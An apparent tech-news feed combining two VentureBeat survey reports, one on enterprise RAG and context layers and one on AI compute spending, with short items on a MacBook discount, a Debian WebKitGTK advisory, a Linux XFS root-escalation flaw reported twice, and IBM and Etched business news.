The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs

Thu, 23 Jul 2026 19:19:39 +0200

Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.

This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.

The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.

Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.

Finding 1: Ambition outpaces production

Only one in five run AI in production at scale

We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.

The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.

Finding 2: Enterprises run on hyperscalers and model APIs

The specialized GPU clouds barely register — today

We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.

The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.

(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)

Finding 3: The next dollar goes to infrastructure they don’t yet run

AI-specialized clouds top the evaluations list

We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.

Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.

This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.

Finding 4: A switching wave is building

Six in 10 plan to change providers within a year — many within a quarter

We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.

For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.

(Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.)

Finding 5: Nobody buys on token price

Integration and total cost of ownership decide — not sticker price

We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.

Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.

Finding 6: Expensive GPUs, idle most of the time

83% report GPU utilization of 50% or less

We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.

Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%

The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.

Finding 7: Spending fast, measuring slowly

Fewer than half rigorously track what their compute costs

We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.

Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.

Finding 8: The next bottleneck few are watching

As inference shifts from compute to memory, the field scatters

Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.

The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.

The bottom line: A compute gap that faster spending will widen, not close

Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.

The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.

Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.

Apple's MacBook Pro with 48GB RAM drops to $2,699, saving you $400

Thu, 23 Jul 2026 19:02:16 +0200

Apple's current 14-inch MacBook Pro with an M5 Pro chip and upgrade to 48GB of RAM is $400 off during B&H's month-end sale, but supply is limited at the reduced price.

Save $400 on Apple's 14-inch MacBook Pro with an upgrade to 48GB RAM - Image credit: Apple

B&H is slashing $400 off Apple's latest 14-inch MacBook Pro with an upgrade to 48GB of RAM. Released in March 2026, the M5 Pro 14-inch MacBook Pro features higher unified memory bandwidth compared to the last-gen model and is equipped with Apple's N1 chip for Wi-Fi 7 and Bluetooth 6 support.

Save $400 on 14" MacBook Pro 48GB RAM

Continue Reading on AppleInsider | Discuss on our Forums

DSA-6398-1 webkit2gtk - security update

Thu, 23 Jul 2026 18:51:47 +0200

The following vulnerabilities have been discovered in the WebKitGTK web engine:

CVE-2024-4367

Thomas Rinsma discovered that a type check was missing when handling fonts in PDF.js, which would allow arbitrary JavaScript execution in the PDF.js context.

CVE-2026-28847

DARKNAVY, an anonymous researcher and Daniel Rhea discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28883

Kwak Kiyong discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28901

Joshua Rogers, Luigino Camastra, Igor Morgenstern, Guido Vranken, Maher Azzouzi and Ngan Nguyen discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28902

Tristan Madani and Nathaniel Oh discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28903

Mateusz Krzywicki discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28904

Luka Racki discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28905

Yuhao Hu, Yuanming Lai, Chenggang Wu, and Zhe Wang discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28907

Cantina discovered that processing maliciously crafted web content may prevent Content Security Policy from being enforced.

CVE-2026-28942

Milad Nasr and Nicholas Carlini discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

CVE-2026-28946

Gia Bui, dr3dd, and w0wbox discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

CVE-2026-28947

dr3dd discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

CVE-2026-28953

Maher Azzouzi discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28955

wac and Kookhwan Lee discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28958

Cantina discovered that an app may be able to access sensitive user data.

CVE-2026-39872

Utkarsh Pal and Ignacio Sanmillan discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43658

Do Young Park discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

CVE-2026-43660

Cantina discovered that processing maliciously crafted web content may prevent Content Security Policy from being enforced.

CVE-2026-43663

Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota Toda, HexRabbit, NiNi, Tristan Madani and Brian Carpenter discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43676

Mateusz Krzywicki, dr3dd, and Tommy DeVoss discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43699

Tommy DeVoss discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43701

Aaron Grattafiori discovered that a malicious website may be able to process restricted web content outside the sandbox.

CVE-2026-43705

dr3dd discovered that processing maliciously crafted web content may lead to memory corruption.

CVE-2026-43707

Amy Burnett discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43712

Kwak Kiyong, Song Nuri, and Tristan Madani discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43713

Jody Ritonga discovered that visiting a website may leak sensitive data.

CVE-2026-43715

Milad Nasr and Nicholas Carlini discovered that processing maliciously crafted web content may lead to memory corruption.

CVE-2026-43716

Tuan, Duc, Amy Burnett and Evan Lambert discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43720

Gia Bui and Josef Korbel discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43721

Idan Masas discovered that a malicious website may be able to silently hijack clipboard data.

CVE-2026-43725

Luke Francis discovered that a malicious website may be able to process restricted web content outside the sandbox.

CVE-2026-43726

Josef Korbel, Tristan Madani, Gia Bui and Narendra Singh discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43727

Tommy DeVoss, Gia Bui and Gurpreet Shergill discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43731

dr3dd discovered that processing maliciously crafted web content may lead to memory corruption.

CVE-2026-43732

Nan Wang discovered that processing maliciously crafted web content may disclose sensitive user information.

CVE-2026-43734

Jonathan Alush-Aben discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43740

Nathaniel Oh and Arni Hardarson discovered that processing maliciously crafted web content may result in the disclosure of process memory.

CVE-2026-43742

Yulia Mertsalova discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43745

Amy Burnett and Khai Tran discovered that processing maliciously crafted web content may lead to an unexpected process crash.

https://security-tracker.debian.org/tracker/DSA-6398-1

The RAM crisis just forced Framework into a nasty price hike — and Apple's rumored solution to the memory crunch is renting Macs to cash-strapped consumers

Thu, 23 Jul 2026 18:35:34 +0200

Apple's plan to sidestep the RAM crisis could be renting Macs, iPhones and iPads to consumers.

Linux XFS has a decade-old race condition allowing full root access

Thu, 23 Jul 2026 17:59:07 +0200

Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.

The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.

According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a patch was made available last week.

“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” Saeed Abbasi, head of Qualys TRU, said in a blog post about the vulnerability, which he calls RefluXFS. “Exploitation is highly reliable and leaves no kernel log output.”

Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.

Race winner gets root in buggy file operation

The vulnerability, tracked as CVE-2026-64600, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.

However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an advisory.

The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.

Linux distributions affected by RefluXFS

The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.

Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.

Usual kernel hardening practices, including memory protection features like Kernel Address Space Layout Randomization (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.

“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.

A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.

Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.

Linux XFS has a decade-old race condition allowing full root access

Thu, 23 Jul 2026 17:58:50 +0200

Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.

The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.

Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.

Race winner gets root in buggy file operation

Linux distributions affected by RefluXFS

A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.

Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.

This article first appeared on Network World.

AI chip startup Etched defies skeptics, hits $10.3B valuation from big-name investors

Thu, 23 Jul 2026 17:04:51 +0200

Etched, founded by three Harvard dropouts, has created new chips and memory components that speed up inference on any AI model -- no GPUs required, it says.

[$] An operations structure for swap devices

Thu, 23 Jul 2026 16:29:33 +0200

One of the ideas raised at the 2026 Linux Storage, Filesystem, Memory Management, and BPF Summit (LSFMM+BPF) was the creation of an operations structure for the swap subsystem. Like many parts of the kernel, the swap layer evolved over time, with pieces being added as needed; the end result of this evolution is rarely what one would expect had the subsystem been designed today. The interface between the swap layer and the devices it uses is just one example. It appears that one result of the swap subsystem's evolution — the lack of an abstraction layer to interface with underlying storage — will soon be addressed, but in a different way than was initially envisioned.

Despite tough quarter, IBM says mainframe will continue to put the Big in Big Blue

Thu, 23 Jul 2026 16:27:23 +0200

Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.

After warning of an earnings shortfall, IBM lowered its full-year forecast. It now expects 2026 revenue to grow between 4% and 5%, rather than its previous forecast of more than 5% growth. Some parts of its business did well: Software revenue grew 5% in the second quarter to $7.76 billion, fueled by 11% growth in hybrid cloud, 18% growth in data, and 3% growth in automation.

On the infrastructure side, IBM posted second-quarter revenue of $3.8 billion, which is down 7%. Within that business, distributed infrastructure grew 37%, but those gains were offset by a 10% decline in hybrid infrastructure and IBM Z’s 42% drop.

